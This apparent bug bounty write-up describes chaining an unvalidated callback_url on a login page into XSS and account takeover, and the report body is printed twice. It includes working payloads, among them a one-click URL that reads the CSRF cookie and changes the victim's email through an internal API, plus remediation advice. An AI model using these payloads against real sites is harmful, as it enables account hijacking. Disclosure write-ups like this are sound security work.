July 12, 2026
Account Takeover via Open Redirect XSS
How a simple callback_url parameter led to full account compromise
By 4M1R
1 min read
Account Takeover via Open Redirect XSS
## Vulnerability Type
- CWE-601: URL Redirection to Untrusted Site
- CWE-79: Cross-site Scripting (XSS)
- CWE-352: Cross-Site Request Forgery
- CWE-287: Improper Authentication
## Severity: Critical (CVSS 9.8)
## Description
The login endpoint accepts an unvalidated
`callback_url` parameter, allowing injection
of `javascript:` protocol handlers. This
enables DOM-based XSS that can be chained
with CSRF to achieve full Account Takeover.
## Attack Chain
1. Open Redirect via callback_url
2. DOM XSS using javascript: protocol
3. CSRF token extraction from cookie
4. Email change via /api/v1/user/edit
5. Password reset with new email → ATO
## Steps to Reproduce
While exploring the target website, I noticed
the login feature and came across this URL:
`https://www.target.com/fa/auth/login?callback_url=%2Ffa`
I decided to test a payload in the `callback_url`
parameter: `javascript:alert(origin)`. When I sent
it, the payload worked and an alert popup was shown.
To turn the XSS into ATO, I navigated to the profile
edit section at `/api/v1/user/edit` and ran this
payload in the browser console:
```
javascript:fetch('/api/v1/user/edit',{method:'POST',headers:{'Content-Type':'application/json','X-CSRFToken':document.cookie.match(/csrftoken=([^;]+)/)?.[1]},body:JSON.stringify({email:'pwned@hack.com'})});void(0)
```
When I checked the Network tab, I saw a `200` status
code, confirming that my account email had been changed.
I then crafted the final payload URL:
```
https://www.target.com/auth/login?callback_url=javascript:fetch('/api/v1/user/edit',{method:'POST',headers:{'Content-Type':'application/json','X-CSRFToken':document.cookie.match(/csrftoken=([^;]+)/)?.[1]},body:JSON.stringify({email:'hacker@hack.com'})})
```
While being logged into my account, I visited this URL.
It asked for my username and password. After entering
them, I got the "You have successfully logged in"
message, and upon checking my account, I realized my
email had been changed. That easily, the XSS was
chained into a full Account Takeover.
## Impact
- Full Account Takeover of any user
- Email change without user consent
- One-click attack via malicious link
- Affects all authenticated users
- No user interaction required after click
## Remediation
- Validate callback_url against whitelist
- Block `javascript:` protocol scheme
- Use HttpOnly flag for sensitive cookies
- Set SameSite=Strict on session cookies
- Require password re-auth for email changeAccount Takeover via Open Redirect XSS
## Vulnerability Type
- CWE-601: URL Redirection to Untrusted Site
- CWE-79: Cross-site Scripting (XSS)
- CWE-352: Cross-Site Request Forgery
- CWE-287: Improper Authentication
## Severity: Critical (CVSS 9.8)
## Description
The login endpoint accepts an unvalidated
`callback_url` parameter, allowing injection
of `javascript:` protocol handlers. This
enables DOM-based XSS that can be chained
with CSRF to achieve full Account Takeover.
## Attack Chain
1. Open Redirect via callback_url
2. DOM XSS using javascript: protocol
3. CSRF token extraction from cookie
4. Email change via /api/v1/user/edit
5. Password reset with new email → ATO
## Steps to Reproduce
While exploring the target website, I noticed
the login feature and came across this URL:
`https://www.target.com/fa/auth/login?callback_url=%2Ffa`
I decided to test a payload in the `callback_url`
parameter: `javascript:alert(origin)`. When I sent
it, the payload worked and an alert popup was shown.
To turn the XSS into ATO, I navigated to the profile
edit section at `/api/v1/user/edit` and ran this
payload in the browser console:
```
javascript:fetch('/api/v1/user/edit',{method:'POST',headers:{'Content-Type':'application/json','X-CSRFToken':document.cookie.match(/csrftoken=([^;]+)/)?.[1]},body:JSON.stringify({email:'pwned@hack.com'})});void(0)
```
When I checked the Network tab, I saw a `200` status
code, confirming that my account email had been changed.
I then crafted the final payload URL:
```
https://www.target.com/auth/login?callback_url=javascript:fetch('/api/v1/user/edit',{method:'POST',headers:{'Content-Type':'application/json','X-CSRFToken':document.cookie.match(/csrftoken=([^;]+)/)?.[1]},body:JSON.stringify({email:'hacker@hack.com'})})
```
While being logged into my account, I visited this URL.
It asked for my username and password. After entering
them, I got the "You have successfully logged in"
message, and upon checking my account, I realized my
email had been changed. That easily, the XSS was
chained into a full Account Takeover.
## Impact
- Full Account Takeover of any user
- Email change without user consent
- One-click attack via malicious link
- Affects all authenticated users
- No user interaction required after click
## Remediation
- Validate callback_url against whitelist
- Block `javascript:` protocol scheme
- Use HttpOnly flag for sensitive cookies
- Set SameSite=Strict on session cookies
- Require password re-auth for email change
First writeup ever — still learning Medium and report writing. Feedback is welcome, just keep it helpful. Thanks!